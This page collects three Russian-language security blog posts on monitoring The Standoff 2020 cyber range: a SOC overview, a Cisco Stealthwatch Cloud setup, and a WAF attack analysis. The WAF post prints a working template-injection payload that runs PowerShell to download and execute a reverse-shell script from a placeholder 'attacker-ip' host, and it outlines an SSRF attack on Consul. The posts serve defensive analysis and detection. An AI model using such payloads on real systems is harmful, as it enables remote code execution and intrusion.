Русский
Русский
English
Статистика
Реклама

Standoff

Глобальный SOC на The Standoff2020 всевидящее око

04.12.2020 08:08:46 | Автор: admin

Мы, я имею в виду экспертный центр безопасности Positive Technologies, традиционно участвуем в противостоянии The Standoff уже несколько лет с 2018-го, когда оно было частью Positive Hack Days. В первый год мы следили за игровыми трендами и событиями, используя SIEM-систему (MaxPatrol SIEM), наше решение для анализа сетевого трафика (PT Network Attack Discovery) и многоуровневую систему выявления и блокировки вредоносного контента (PT MultiScanner). Наша задача состояла в том, чтобы изучить активность участников мероприятия, отследить тактики и инструментарий, ими используемый, и, конечно же, поработать со своими продуктами при повышенной нагрузке. Во время подобных мероприятий наши инструменты используются на полную мощность (и даже еще немного больше): в 2018 году мы двое суток следили за 12 командами, MaxPatrol SIEM пережевывал 20000 EPS, PT Network Attack Discovery переработал более 3 ТБ сетевого трафика, а наша команда определяла успешные атаки, искала следы компрометации (веб-шеллы, удаленные консоли, авторизацию на узлах и проч.), а накопленные знания в дальнейшем в числе прочего легли в основу обновлений наших продуктов.

Год спустя мы увеличили количество глаз нашего SOC на The Standoff в рамках очередного PHDays: к предыдущим трем добавились еще PT Application Firewall и PT Industrial Security Incident Manager. Это позволило нам получить максимально полную картину противостояния во всех элементах инфраструктуры цифрового мегаполиса. Все длилось также двое суток, но следили мы за бльшим числом участников (в тот году было уже 18 команд атакующих, шесть команд защитников и три команды SOC), которые вели очень активную деятельность в городской инфраструктуре. В отличие от команд, мы не вмешивались в события на площадке соревнований, а только лишь наблюдали за ними. Ключевая наша задача состояла в том, чтобы продемонстрировать на практике эффективность современных систем для выявления и расследования киберинцидентов. Ну и конечно же изучить те тактики и техники, которыми пользовались участники, в режиме реального времени, поскольку на The Standoff команды атакующих традиционно используют самые актуальные средства и приемы.

Поэтому, с одной стороны, в преддверии The Standoff в этом году наши задачи, цели и планы нам были ясны не первый раз, как говорится. Однако масштаб мероприятия наложил-таки свой отпечаток на нашу работу.

Purple teaming как он есть

Начать можно с того, что пять с лишним суток (123 часа) непрерывного мониторинга в условиях повышенной активности команд атакующих под силу только правильно собранной команде. В этом году команда нашего SOC включала нескольких специалистов, которые отвечали за непрерывный мониторинг и поддержание процесса threat hunting в наблюдаемом виртуальном окружении, передачу информации работающим посменно аналитикам, составлявшим общую картину происходящего, с помощью которой возможно было строить kill chains реализации конкретных угроз и рисков. Также мы включили в команду экспертов со специфическими скилами: например, в области АСУ ТП, анализа вредоносного кода, написания детектов для выявления действий хакеров в инфраструктуре. Такой состав команды позволяет максимально полно оценивать происходящее, обнаруживать, классифицировать и исследовать вплоть до мельчайших технических деталей все векторы атак в контексте конкретных киберрисков.

Кстати, о рисках за все время The Standoff команде нашего глобального SOC удалось зафиксировать реализацию атакующими 24 киберрисков, притом два из них не были изначально заложены в условия соревнования. Таким образом, для всех участников, включая наш SOC, The Standoff стал еще и тренировкой в части адаптации фокусов мониторинга на лету: после первой фиксации этих дополнительных рисков они были включены в программу, и в дальнейшем отчеты атакующих об их реализации принимались наравне со всеми прочими. Для этого были настроены дополнительные решающие правила на средствах защиты информации.

В ходе всего мероприятия наши специалисты в режиме 24/7 отслеживали события безопасности, происходившие в развернутой инфраструктуре виртуального города (который, однако, имел и физическое воплощение в виде масштабного макета). Иными словами наблюдали за действиями команд атакующих, red teams. А затем на основе полученной информации оценивали качество, полноту и справедливость представленных атакующими отчетов о выполнении того или иного игрового задания. Результатом этой постоянной работы стала полная хронология происходящего, которая затем использовалась жюри как некий базовый справочник, а также чтобы своевременно предоставлять информацию профессиональному сообществу, наблюдавшему за происходящим на портале The Standoff. Примерно таким же образом осуществлялась оценка полноты сведений, представленных командами защитников, blue teams, уже в их собственных отчетах о зафиксированных инцидентах.

Ну и наконец, по сути своей The Standoff представляет собой, среди прочего, масштабный purple teaming то есть некую синергию между командами красных и синих, позволяющую первым проверить подготовленные ими либо найденные на лету новые тактики и техники атак, а вторым научиться эти атаки выявлять и быстро разрабатывать соответствующие методы и средства контроля. А перед нашим SOC стояли ровно такие же задачи в отношении нашей продуктовой линейки, которая была задействована почти в полном составе.

Инструментарий всевидящего ока

Итак, на каких технологиях работал наш SOC?

Рис. 1 Схема инфраструктуры одного из офисов, созданного на киберполигоне The StandoffРис. 1 Схема инфраструктуры одного из офисов, созданного на киберполигоне The Standoff

Защита периметровых сервисов (сервисов так называемой демилитаризованной зоны) и мониторинг атак на них были построены на базе PT Application Firewall. Сердцем нашего SOC стала система MaxPatrol SIEM, к которой в качестве источников событий были подключены почти все узлы информационной инфраструктуры нашего виртуального города. Почему почти все? Потому что в сетевых сегментах АСУ ТП мы, по понятным причинам, в большей степени полагались на систему PT Industrial Security Incident Manager. Своеобразным швейцарским ножом специалиста нашего глобального SOC стал PT Network Attack Discovery, в комбинации с SIEM-системой позволяющий проводить глубокий анализ сетевого трафика и выявлять в нем аномалии и вредоносные воздействия как автоматически, так и при непосредственном участии эксперта.

В данном контексте под атакой подразумевается любая зафиксированная нами попытка нелегитимного воздействия на находящиеся под наблюдением системы с целью достижения определенных целей, например с целью получения информации о подсети или доступа с возможностью выполнения команд ОС на конкретном узле. Но в тот момент, когда полученные данные позволяли нам судить о том, что атака оказалась успешной, уже уместно было применять термин инцидент. По зафиксированным же инцидентам впоследствии строились цепочки реализации рисков. Кроме того, в ходе расследования цепочек проводилась привязка атомарных инцидентов к активности различных команд атакующих (атрибуция), в том числе с применением экспериментальных модулей профилирования сетевого поведения.

Ну и, last but not least, оперативно выявлять атаки, связанные с применением социальной инженерии, в том числе фишинга, и проводить их анализ позволила система PT Sandbox.

В ходе подготовки такого мероприятия мы и наши коллеги, отвечавшие непосредственно за инфраструктуру, разумеется, столкнулись с определенными сложностями. Необходимо было подружить между собой огромное количество различных технических решений, имитирующих реальные бизнес-процессы виртуального города, скоммутировать подсети, добиться устойчивой работы всех систем. А уже нам как специалистам SOC критически важно было добиться на 100% чистой и стабильной видимости всего, что происходило на полигоне, и при этом снятием, например, сетевого трафика не мешать работающим процессам ни в корпоративных, ни в технологических сетях а также, конечно, ничего не пропустить. Ради этого на проект еще на этапе строительства инфраструктуры со стороны SOC были выделены два архитектора мониторинга, каждый из которых кропотливо, с привлечением профильных специалистов по обнаружению атак на узлах и в сети, проверял сетевую доступность, видимость сетевого трафика во всех сегментах инфраструктуры, фактическую видимость запросов к веб-приложениям в PT AF.

Мы подготовили набор решающих правил для MaxPatrol SIEM, сигнатур для PT ISIM и PT NAD, в том числе экспериментальных, требовавших обкатки как раз в условиях, максимально приближенных к реальным. И львиная доля этих правил и сигнатур будет доступна пользователям наших продуктов в стандартной поставке экспертизы.

Мониторинг в действии

Наши предварительные ожидания что в первые дни противостояния команды атакующих будут в основном заниматься разведкой и только готовиться к серьезным действиям не оправдались. Red teams пошли в бой с первой минуты после старта мероприятия и сохраняли такой напор практически на всем его протяжении. Количество выявленных нашим SOC событий безопасности, которые можно было квалифицировать как инциденты, перевалило за сотню уже к наступлению первой же ночи, и заданный темп впоследствии не снижался, а в последние дни, когда командам особенно важно было стало добрать очков с помощью реализации дополнительных рисков, даже возрос.

К концу противостояния команды защитников смогли объединить в цепочки и зафиксировать более 200 инцидентов (некоторые из них включали инциденты, которые наш глобальный SOC фиксировал как атомарные, в рамках одного сообщения об инциденте) и провести 21 расследование. Что интересно, на расследование отдельных инцидентов у команд защитников иногда уходили считаные минуты, но вот среднее время полноценного расследования составило порядка 11 часов. Команды атакующих реализовали 47% всех заложенных по условиям киберрисков виртуального города от падения колеса обозрения в парке аттракционов до хищения персональных данных пассажиров авиакомпании.

Пока мы отслеживали происходящее на поле боя, выяснилось несколько любопытных моментов. К примеру, команды защитников часто выявляли действия атакующих уже на этапе разведки на конкретном узле или в начале попыток перемещения в сети офиса, но пропускали первичный вектор проникновения, такой как брутфорс с попытками входов, грамотно разнесенными по времени. А наш SOC смог выявить такие инциденты с помощью профилирования поведения пользователей и решающих правил, в которые была заложена логика, учитывающая техники обхода средств защиты, основанные на временных задержках. Кроме того, разработанные нами правила корреляции позволили нашим специалистам определить отдельные действия атакующих в офисах как инциденты ИБ, связав их с первоначальной компрометацией узлов и учетных записей. Подобные действия при отдельном рассмотрении выглядят легитимными, и здесь помогало именно выстраивание цепочки от точек первичного проникновения. Таким же образом нашему SOC удавалось выделять нелегитимные запуски различных утилит, в том числе предназначенных для разведки на узлах и в сети, а также получение доступа к файлам. С помощью нашего решения для глубокого анализа трафика и песочницы мы выявляли успешные попытки фишинговых атак. И безусловно, нашим преимуществом в данном случае стало то, что мы включили в процесс мониторинга экспертов по анализу сетевого трафика. Хочется отдельно подчеркнуть важную при непрерывном мониторинге роль оперативной доработки решающих правил (как минимум дополнение связанных табличных списков), на которых основываются решения о легитимности выявляемых событий. Именно такие гибкие контроли позволили нам ловить атакующих на определенных шагах и далее отслеживать всю их активность. Этот подход доказал свою эффективность и в конечном счете обеспечил нам ряд преимуществ перед играющими командами защитников.

Кому и зачем показан The Standoff

Выводы по итогам The Standoff каждый может сделать для себя сам. Лично для меня мероприятие стало отличным подтверждением того, что сообщество специалистов по информационной безопасности в наше время должно двигаться в сторону постоянного взаимодействия и сотрудничества. Например, в рамках подобных масштабных киберучений производители прикладного ПО и аппаратуры получают отличную возможность проверить свои продукты на прочность под реальным натиском профессионалов из offensive security. Вендоры, сервис-провайдеры и интеграторы в области информационной безопасности опять же проверить в деле свои продукты и свои команды специалистов, взявшись за защиту какого-то из объектов инфраструктуры. По итогам мероприятия все участники получают новые технические данные о продуктах, уязвимостях, о методах и средствах проведения, выявления и предотвращения последствий компьютерных атак, и могут, безусловно, впоследствии применить новый опыт для укрепления безопасности любого реального объекта, а значит помочь нам всем сделать еще один шаг в безопасное будущее.

По итогам The Standoff всей команде PT ESC удалось проверить свои возможности по организации полноценного мониторинга информационной безопасности на действительно сложной инфраструктуре, собрать данные для дальнейшего обучения наших решающих модулей, а также отработать взаимодействие непосредственно SOC с другими подразделениями. Противостояние стало для нас, среди прочего, поводом взглянуть на процессную сторону такого взаимодействия под новым углом.

P.S. Пользуясь случаем, хотел бы еще раз поблагодарить всю команду, работавшую над организацией The Standoff вместе с командой нашего PT ESC, команды экспертов АСУ ТП, базы знаний ИБ, инженеров, отвечавших за внедрение и поддержку продуктов, аналитиков, собиравших отчетные материалы по ходу мероприятия, сказать спасибо нашей PR-команде, отвечавшей за информационную поддержку, и команде маркетинга, готовившей площадку и приносившей голодным сотрудникам SOC еду :) Над проектом работало очень много людей, и очень просто кого-то забыть при этом перечислении, но знайте мы обо всех вас помним и очень вам благодарны.

Автор: Павел Кузнецов, заместитель директора экспертного центра безопасности (PT Expert Security Center), Positive Technologies

За 6 дней киберполигона The Standoff атакующие вывели из строя системы аэропорта, парка развлечений, химического завода и нефтедобывающей компании. Потери понесли банк и деловой центр.

В четверг, 10 декабря в 14:00 эксперты Positive Technologies раскрутят цепочки нескольких атак, расскажут, как хакерам удалось взломать системы и покажут, как продукты Positive Technologies детектировали действия атакующих.

Вебинар будет интересен сотрудникам SOC, специалистам по ИБ и пользователям продуктов Positive Technologies: MaxPatrol SIEM, PT Application Firewall, PT NAD, PT Sandbox, PT ISIM.

Вебинар бесплатный, для участия необходимо зарегистрироваться.

Подробнее..

Как мы мониторили киберполигон Positive Technologies Standoff

23.12.2020 16:22:50 | Автор: admin
Каждый год мы с друзьями ходим в баню. Каждый год, когда наши большие друзья, компания Positive Technologies проводит свое глобальное мероприятие для настоявших экспертов в области информационной безопасности PHDays. И каждый год мой друг и коллега Алексей Лукацкий говорит мне Миша, давай что-нибудь технологическое сделаем!. А потом выясняется, что заваленный рутиной, я опять все пропустил. Но этот год, как мы все уже заметили, глубоко особенный. И вместо PHDays было проведено очень эффективное и масштабное мероприятие под названием Standoff. В этот раз я решил послушать Алексея Викторовича и успеть что-то сделать! Тем более, что мероприятие существенно превосходило все, что когда-либо делалось ранее. Посмотреть детали этого впечатляющего киберполигона можно вот тут: https://standoff365.com/battlefield.
Вкратце скажу, что он эмулировал собой полноценный, и весьма немаленький город, в котором было практически все начиная от аэропорта, и заканчивая финансовыми организациями и парком аттракционов! Это давало злоумышленникам возможность проявить свои навыки взлома, а защитникам свои навыки обнаружения и отражения угроз.

Итак, возник вопрос, как же нам понаблюдать за этой битвой, с точки зрения информационной безопасности? Собственно, эта статья именно о подробностях построении такого процесса наблюдения и полученных нами результатах.

Мы понимали, что вмешиваться в работу полигона мы не должны, а также заниматься детальной подстройкой профилей обнаружения атак формат мероприятия не позволяет, то и было выбрано решения класса NTA (NTA Network Traffic Analytics) это решения, которые определяют угрозы по анализу сетевой телеметрии, или, попросту говоря, профилю сетевого трафика. Внедрение таких систем идет гораздо проще и бесшовнее, чем, например, внедрение классических систем обнаружения и предотвращения вторжений. Это связанно и с тем, что нет необходимости вносить изменения в сетевую топологию, а также тем, что ядром таких систем является машинное обучение в сочетании с данными аналитики угроз. Такой подход позволяет системе не только быстро идентифицировать типовые угрозы, но и обучиться за определенный интервал времени, а затем использовать полученные знания для обнаружения нештатного поведения пользователей, систем и приложений. Также такие системы, просто по своему подходу, являются существенно менее шумными с точки зрения оповещения о всевозможных угрозах и гораздо более точными с точки зрения идентификации реальных инцидентов. На этом краткий экскурс в данную тему я закончу, кто хочет почитать об этом подробнее, советую обратить внимание на вот такой материал:
http://personeltest.ru/aways/habr.com/ru/company/cisco/blog/348532/

Изначально, я решил использовать давно и хорошо известный продукт Cisco Stealthwatch Enterprise, успешно применяемый многими моими коллегами в разных организациях. И уже собрался позвонить коллегам в Positive чтобы рассказать им, сколько мне нужно процессоров, места дисках, виртуалок и т. п. В этот момент странная мысль посетила меня я вспомнил, как много ресурсов и людских и технических было положено на создание этого киберполигона, и подумал, что на то, что часть этих ресурсов попрошу я, никто не рассчитывал. С другой стороны, отказываться от идеи не хотелось, и в рамках современных тенденций в области обеспечения информационной безопасности я решил перейти на облачное решение под названием Stealthwatch Cloud. Надо сказать, что это решение называется облачным не зря, так как оно умеет собирать и анализировать телеметрию частных облаков, создаваемых внутри публичных облаков, через прикладные программные интерфейсы (API). Т. е. с помощью этого решения я могу анализировать, с точки зрения информационной безопасности, происходящее внутри Amazon AWS, Microsoft Azure, Google GCP, а также контейнеров Kubernetes. Но сейчас мне было нужно другое применение этого продукта а именно мониторинг частных сетей. В этом случае в такую сетку просто устанавливается датчик (сенсор), которые и отдает телеметрию в облачную консоль мониторинга и управления. В предыдущем предложении я употребил слово просто и теперь попробую развернуть его подробнее.

Итак, как же выглядит процесс?

Надо запросить триалку, это занимает пару минут.
Ссылка тут:
https://www.cisco.com/c/en/us/products/security/stealthwatch/stealthwatch-cloud-free-offer.html?dtid=osscdc000283

Потом, в течение пары дней начинают приходить разные полезные письма и в конце концов приходит письмо про то, что портал активирован!
После этого получаешь себе личный портал, ссылка на который выглядит так:

cisco-YOUR_CISCO_USERNAME.obsrvbl.com, например: cisco-mkader.obsrvbl.com.

Заходя туда, мы видим главный экран, откуда можно скачать виртуальную машину сенсора для мониторинга частных сетей. Требования под эту виртулку не велики 2 vCPU, 2 гига памяти и 32 гига места на диске. А в целом процесс установки крайне прост и описан в непривычно простом и удобном руководстве, сделанным в виде листаемой электронной книги:
https://ebooks.cisco.com/story/swc-sensor-install/
Сразу скажу, что у сенсора есть два интерфейса один служит для связи с консолью управления и также собирает на себе телеметрию, например NetFlow, а заодно и мониторит весь приходящий на него трафик. Второй же может работать в режиме захвата пакетов (promiscuous mode) и генерировать телеметрию по пойманному им трафику. В нашем конкретном случае мы использовали только первый интерфейс.

После установки сенсор бежит в облако, где размещена консоль это на самом деле AWS и выдает прекрасное сообщение:
{error:unknown identity,identity:185.190.117.34}

Это тот самый IP адрес, под которым сенсор считает, что видит себя во внешнем мире, пробившись через корпоративный межсетевой экран, трансляцию адресов и т. п. На всякий случай, сразу скажу, что сенсору нужен HTTP и HTTPs, а также настройка DNS-а. После получения указанного выше сообщения надо просто взять этот адрес и добавить его в список своих сенсоров на консоли:

image

И через некоторое время сенсор окрашивается в зеленый цвет это означает, что сенсор установил соединение с консолью.
И, в общем то, на этом запуск системы завершен. Следующий шаг это добавление источников телеметрии, в дополнение к том, что сенсор слушает сам. Если мы хотим получать телеметрию по протоколу NetFlow, то крайне полезным является сайт https://configurenetflow.info/

На нем мы можем выбрать нужное нам сетевое устройство, ввести пару параметров и получить готовую конфигурацию:

image

И скопировать полученную информацию на наши сетевые устройства. Все система готова к работе! Вернее даже уже начала работать.
Кстати, примеры настроек Netflow с этого сайта можно использовать не только под Steathwatch, а под любой другой продукт, которому может пригодится такая телеметрия например Cisco Tetration, IBM QRadar и т. п.

Теперь можно заняться и мелким тюнингом системы. Сразу хочу сказать, что я очень люблю смотреть, как разные продукты компании Cisco по информационной безопасности сообщают мне обо всем происходящим на единую консоль мониторинга и реагирования Cisco SecureX. На самом деле SecureX штука крайне интересная и заслуживает отдельного описания. В двух словах это облачная система мониторинга информационной безопасности (SIEM), проведения расследований (Threat Hunting), расследования и реагирования на инциденты, а заодно еще и автоматизации процессов (SOAR). Очень рекомендую подробнее ознакомиться с этой системой, причем она прилагается по умолчанию к любому продукту Cisco по информационной безопасности. Ну и немного маркетинга по это теме вот тут: https://www.cisco.com/c/ru_ru/products/security/securex.html

Итак, первым делом и настроил такую интеграцию:

image

Заодно я настроил интеграцию и с нашей облачной платформой предоставления услуг безопасности Cisco Umbrella: http://personeltest.ru/aways/habr.com/ru/company/jetinfosystems/blog/529174/

image

Особых надежд на нее я не возлагал, пологая, что все самое интересное будет происходить внутри полигона, а обеспечивать защиту этого полигона в мои задачи не входило.

После этого я создал себе новую консоль мониторинга в SecureX. Все это суммарно заняло минут 5, а может и того меньше. Пара картинок из моего SecureX -а ниже:

image

image

После этого я решил отключить неинтересные мне уведомления, и включить интересные. Для этого я вернулся в консоль SWC и пошел настраивать эти самые уведомления:

image

Сразу скажу, что по каждому из уведомлений можно посмотреть, что оно из себя представляет, сколько дней сбора телеметрической информации требуется для обнаружения соответствующей угрозы, и как она ложится, если ложится, на модель MITRE ATT&CK.
Количество обнаруживаемых угроз и связанных с ними уведомлений постоянно растет по мере развития самого по себе решения. Но мне про это думать особо не надо облако же, как что новое добавили, так это сразу в моем распоряжении.
Я отключил большую часть уведомлений, связанных с атаками на облака AWS, Azure, GCP, так как они в рамках данного полигона не использовались, и включил все уведомления, связанные с атаками на частные сети.
Также я могу поуправлять политиками мониторинга по разным подсетям, которые я хочу контролировать. Можно отдельно включить и мониторинг по особо интересующим нас странам:

image

В этом месте я прочитал свой текст выше и понял, что писал его гораздо больше времени, чем заняла настройка системы, включая все интеграции.

Ну а теперь что же мы увидели?

В первые дни Standoff телеметрию мне отдавала парочка наших виртуальных межсетевых экранов ASAv, но потом количество источников несколько увеличилось добавилось еще межсетевых экранов, а также Netflow с центрального брокера трафика.
Первые уведомления пришли очень быстро, и, как и следовало ожидать, они были связаны с многочисленными сканированиями. Ну а потом наблюдать за процессом становилось интереснее с каждым часом. Я не буду тут расписывать весь процесс наблюдения, а просто расскажу о нескольких фактах. Во-первых, удалось собрать неплохую информацию что есть что на полигоне:

image

image

Во-вторых, оценить масштабность мероприятия с какими же странами был наиболее активный обмен трафиком:

image

На самом деле есть и более удобный формат представления этих данных, но тут я решил показать больше детализации.
Итак, основными внешними, помимо России, пользователями полигона были США, Германия, Голландия, Ирландия, Англия, Франция, Финляндия, Канада, хотя определенное взаимодействие было практически со всеми странами, включая страны Южной Америки, Африки и Австралию:

image

Конечно, мы могли посмотреть, кому принадлежат увиденные адреса:

image

И при желании, спросить про них у других полезных аналитических источников:

image

Что позволило увидеть, например, активное взаимодействие с ресурсами компании Microsoft во многих странах.
Причем таблицу наиболее активных взаимодействий можно было увидеть и в виде динамической картинки соединений с возможностью ее более подробного анализа:

image

Но что-же все-таки мы собрали именно с точки зрения атак?
Об этом нам рассказывает список уведомлений, часть которого вы видите ниже:

image

Всего было идентифицировано 117 атак, подтвержденных множеством наблюдений (Observables) Мы видим тут и сетевые сканирования, и подозрительные длинные сессии, проблемы с SMB, некорректное использование сетевых портов и сервисов, странное поведение сетевых узлов, неожиданное изменение их поведения и прочие странности, которые должны насторожить специалиста по информационной безопасности.
По каждому интересующему нас событию мы можем получить подробную информацию, включая что оно из себя представляет, чем оно плохо и рекомендации по предотвращению. Пару таких интересный событий можно увидеть ниже это неожиданный запуск SSH сервера на рабочей станции Windows и использование нестандартного диапазона портов. Также можно обратить внимание на то, что, при настроенной интеграции можно прямо из описания события перейти в консоль проведения расследований SecureX Treat Response для подробного анализа данного инцидента:

image

image

Итак, немного коротких выводов по результатам этого небольшого и занимательного пилота.
Первый компания Positive Technologies провела прекрасные киберучения и было очень интересно немного понаблюдать за ними изнутри, причем это было удобно, легко и просто.

Второй, о котором я вынужден сказать облачные решения по безопасности это быстро, просто и удобно. А если их еще и много и между ними можно настроить интеграцию к тому же и очень эффективно.

Третий участники полигона тоже активно пользовались облачными сервисами, например сервисами компании Microsoft

Четвертый автоматизированный машинный анализ разнообразной сетевой телеметрии позволяет легко выявить инциденты ИБ, включая спланированную деятельность злоумышленников. И советую обратить внимание на то, что уже существует множество проработанных сценариев эффективного применения решения Cisco Stealthwatch для нужд информационной безопасности. Каждый из читателей может найти себе сценарий по душе вот тут: https://cisco.bravais.com/s/kCvJYJKyhuyQqAZSU6Xk.

Ну и маленький заключительный комментарий в этой статье я сознательно не стал подробно перечислять полученные списки адресов IP, доменов, детали взаимодействия и т. п., понимая, сколько усилий стоило компании Positive Technologies собрать данный полигон и надеясь, что он неоднократно пригодится им и нам и в дальнейшем. И облегчать жизнь будущим атакующим мы не будем.
Подробнее..

Вердикт WAF, или Что происходило с веб-ресурсами цифровых двойников компаний на The Standoff

21.01.2021 18:22:37 | Автор: admin

На прошедшем The Standoff мы, команда PT Expert Security Center, параллельно с участниками противостояния со стороны защиты мониторили инфраструктуру площадки и отдельных офисов цифровой копии мегаполиса, развернутой на нашем киберполигоне. Для этого мы развернули дополнительный security operations center (SOC), который как бы накрыл всю инфраструктуру, за счет чего видел все активности участников The Standoff и даже немного больше. Одним из инструментов этого SOC был PT Application Firewall межсетевой экран уровня веб-приложений (о результатах работы еще одного из инструментов нашего SOC PT Sandbox читайте в одной из наших предыдущих статей). Ниже речь пойдет исключительно о том, что происходило на площадке с точки зрения веба и какие цели выбирали команды атакующих.

Общая статистика по атакам

В рамках The Standoff мы мониторили атаки на портал самой площадки, а также на 30 веб-ресурсов, входящих в игровую инфраструктуру полигона. Это были ресурсы, задействованные как в основной игре (Meters офиса 25 Hours ресурс передачи показаний счетчиков, Consul для Nuft платформа управления сервисами, о которых пойдет речь ниже), так и в bug bounty (например, CMS Umbraco для Bank of FF, Mantis Bugtracker для 25 Hours система отслеживания ошибок в программных продуктах, rConfir RCE сервис управления сетевыми конфигурациями для Big Bro Group). Read teams получали баллы за реализацию рисков, а также за поиск уязвимостей в системах и репорты.

Кто был кто на киберполигоне:

- Heavy Ship Logistics компания, которая управляла аэропортом, железнодорожной станцией, морским портом;

- 25 Hours компания, управлявшая парком развлечений, деловым центром, светофорной сетью;

- Tube компания, под управлением которой были телерадиокомпания, газораспределительная станция, трансформаторная подстанция;

- Nuft организация, ведавшая нефтяным месторождением и нефтехимическим заводом;

- Big Bro Group электростанция;

- Bank of FF банк.

Ресурсы были равномерно распределены между площадками как по уровню сложности, так и по назначению. В частности приложения, участвующие в bug bounty, имеющие по два интерфейса и смотрящие во внутреннюю сеть виртуального офиса, являлись точкой входа для реализации рисков внутри компаний цифрового города. Таких приложений было 13. При этом шесть из них предполагали достижение цели bug bounty изнутри инфраструктуры офиса. Остальные приложения являлись тупиковыми, то есть фактически были одиночными конечными целями с достаточно простыми задачами на эксплуатацию различных уязвимостей (например, известная RCE во Flack или же BookStore SQL Injection часто предлагаемые для решения в capture the flag). Все эти порталы и приложения мы отслеживали исключительно в режиме мониторинга и зафиксировали атаки на 29 из 30 имеющихся в инфраструктуре веб-приложений (в одном из ресурсов была возможность для логических атак, которые можно было проводить только из сети банка). Единственным средством защиты, которым располагали защитники, был web application firewall.

Портал The Standoff также был заведен за PT Application Firewall но уже в режиме блокирования и с целью предотвращения возможных атак на поддерживающую мероприятие инфраструктуру из интернета.

Рисунок 1. Распределение атак по игровым днямРисунок 1. Распределение атак по игровым дням

На рис. 1 представлено распределение атак по игровым дням. Серым цветом обозначены специфические сформированные правила для мероприятия, желтым атаки низкого уровня опасности, оранжевым среднего, красным высокого. Последние часто говорят нам о тех или иных командах, запущенных на атакуемом узле, или же о проэксплуатированных уязвимостях. Далее мы будем использовать эти же цвета.

Список наиболее часто производимых атак приведен ниже (указано количество атак за весь период The Standoff с 12:00 12 ноября до 14:00 17 ноября).

Рисунок 2. Список наиболее частых атакРисунок 2. Список наиболее частых атак

Реальная картина проведенных атак и результаты мониторинга, полученные в PT Application Firewall, различаются, например, потому, что эксплуатация уязвимостей некоторых приложений проводилась уже изнутри периметра с внутренних адресов офиса защиты. Такие атаки могут фиксироваться внутренними средствами аудита. Кроме того, в любом из приложений могут быть использованы атаки, отличные от заложенных для игры, если итоговой целью не была эксплуатация конечной уязвимости. Данные о таких атаках могут фиксироваться не полностью, могут не отражаться в журналах.

Чаще всего атакующие выбирали целью приложения офисов Тube и Bank of FF: CMS Made Simple (CMS), bbord (виртуальная фотогалерея), CMS Umbraco, Prestoshop (сайт электронной коммерции), Avideo encoder (ресурс декодирования видео), FHEM tomcat (система умного дома), Consul, openEMR (электронная медицинская карта), ATutor (система управления обучением) и rConfig.

Как открывали двери в инфраструктуру через веб

Во время мониторинга мы проанализировали использованные атакующими инструменты для прохождения периметра. Наряду с традиционным прослушиванием портов с помощью nmap и инструментов типа Burp Suite большой популярностью пользовались самописные скрипты на Python и Go: они составляли почти четверть применяемых инструментов и зачастую использовались на базе уже имеющегося у атакующих инструментария типа Metasploit. Приложения на периметрах защитников активно фаззились с помощью встроенных модулей burp suite, модулей к Metasploit, Responder-инструментарием.

Из 30 задач, заложенных на периметре, решены все задачи низкого уровня сложности, 5 из 6 среднего и 2 из 6 повышенного. Задачи среднего и повышенного уровня сложности как раз представляют наибольший интерес, поскольку приводят ко входу в инфраструктуру для дальнейшей реализации рисков и конечно, позволяют набрать наибольшее количество баллов.

Приведем примеры наиболее интересных задач.

Задача Вход в пределы периметра управляющей компании города 25 Hours была реализована через приложение Meters. Это сайт, развернутый для передачи показаний счетчиков воды и электричества онлайн. Так как приложение использует выражения на языке HubL, то {{}} является обработчиком выражений. Все, что попадает в фигурные скобки, заменяется фактическими значениями при обработке. Атака реализуется следующим образом: проверяется наличие уязвимости с помощью вектора {{77}} и подобных, то есть по факту запускается вычисление 77.

Рисунок 3. Обнаружение Server Side Template Injection (SSTI) в PT Application Firewall для приложения Meters (адаптированное к The Standoff правило обнаружения)Рисунок 3. Обнаружение Server Side Template Injection (SSTI) в PT Application Firewall для приложения Meters (адаптированное к The Standoff правило обнаружения)Рисунок 4. Распределение атак типа SSTI для приложения MetersРисунок 4. Распределение атак типа SSTI для приложения Meters

Для реализации реальной атаки необходимо выполнить запрос на фронтенде приложения:

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval("var x=new java.lang.ProcessBuilder(\"cmd.exe\",\"/c\",\"powershell -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://attacker-ip/mini-reverse.ps1');\");org.apache.commons.io.IOUtils.toString(x.start().getInputStream())")}}.

Что и было проделано двумя командами атакующих.

Эта атака интересна с той точки зрения, что может служить отправной точкой для реализации векторов в парке развлечений цифрового города (например, для изменения скорости вращения колеса обозрения), в городе в целом (для нарушения работы светофорной сети) или же для кражи персональных данных горожан.

Еще одна интересная задача атака, реализованная в компании Nuft через приложение Consul. На внешнем сервисе размещено ПО для обхода блокировок. С помощью него можно реализовать атаку Server Side Request Forgery, которая проводится по протоколу Gopher и направляется методом PUT на прослушиваемый сервисом порт.

Полученный после проведенной манипуляции статус 200 говорит об успешной атаке.

Рисунок 5. Атака на приложение Consul (RCE).Рисунок 5. Атака на приложение Consul (RCE).

Получение доступа и закрепление на этом узле позволяло реализовать атаки на такие объекты цифрового города, как нефтяное месторождение (пример цели технологический процесс транспортировки нефтепродуктов в хранилища) или нефтехимический завод (пример цели процессы производства химических веществ).

Для обнаружения некоторых типов атак и выявления эксплуатируемых уязвимостей была проведена настройка срабатываний (устранение false positive) и написаны дополнительные правила выявления атак. Рассмотрим принципы написания таких правил.

Для фиксации основных типов атак и их выявления рассматриваются proofs of concept проведения атаки с уточнением пути, по которому производится атака. Правило формируется на основе указанного пути, параметра, в который производится внедрение той или иной комбинации символов, ссылки или кода.

Например, в CMS Umbraco (использовалась в инфраструктуре компании Bank of FF) есть уязвимость, эксплуатация которой осуществляется из-под аутентифицированного пользователя методом POST; с помощью фиксации пути эксплуатации и параметров эксплуатации атака и была зафиксирована.

Рисунок 6. Правило выявления атаки в веб-трафике для CMS UmbracoРисунок 6. Правило выявления атаки в веб-трафике для CMS Umbraco

Нетрудно догадаться, что для Meters, атака на который была описана выше, аналогично сформировано правило на основании описанных выше вводных интерпретации и выполнения команд в фигурных скобках в одном из трех параметров.

Рисунок 7. Правило выявления атаки на Meters для команд, исполняемых интерпретатором в {}Рисунок 7. Правило выявления атаки на Meters для команд, исполняемых интерпретатором в {}

Условие использования конечного приложения и request path применяется при необходимости обращений по конкретному пути.

В ходе такого анализа уязвимостей приложений было предварительно сформировано порядка 30 правил. Эти правила учитывают общую тенденцию, но не всегда покрывают все методы реализации атаки на то или иное приложение. Кроме заведомо известных и заложенных заранее векторов атак зачастую используются обходные пути. Например, вместо эксплуатации уязвимости на периметре с целью получения данных из базы атакующие получали доступ по альтернативному протоколу уже внутри сети (ODBC) или же делали backup и вытаскивали его через административные общие папки.

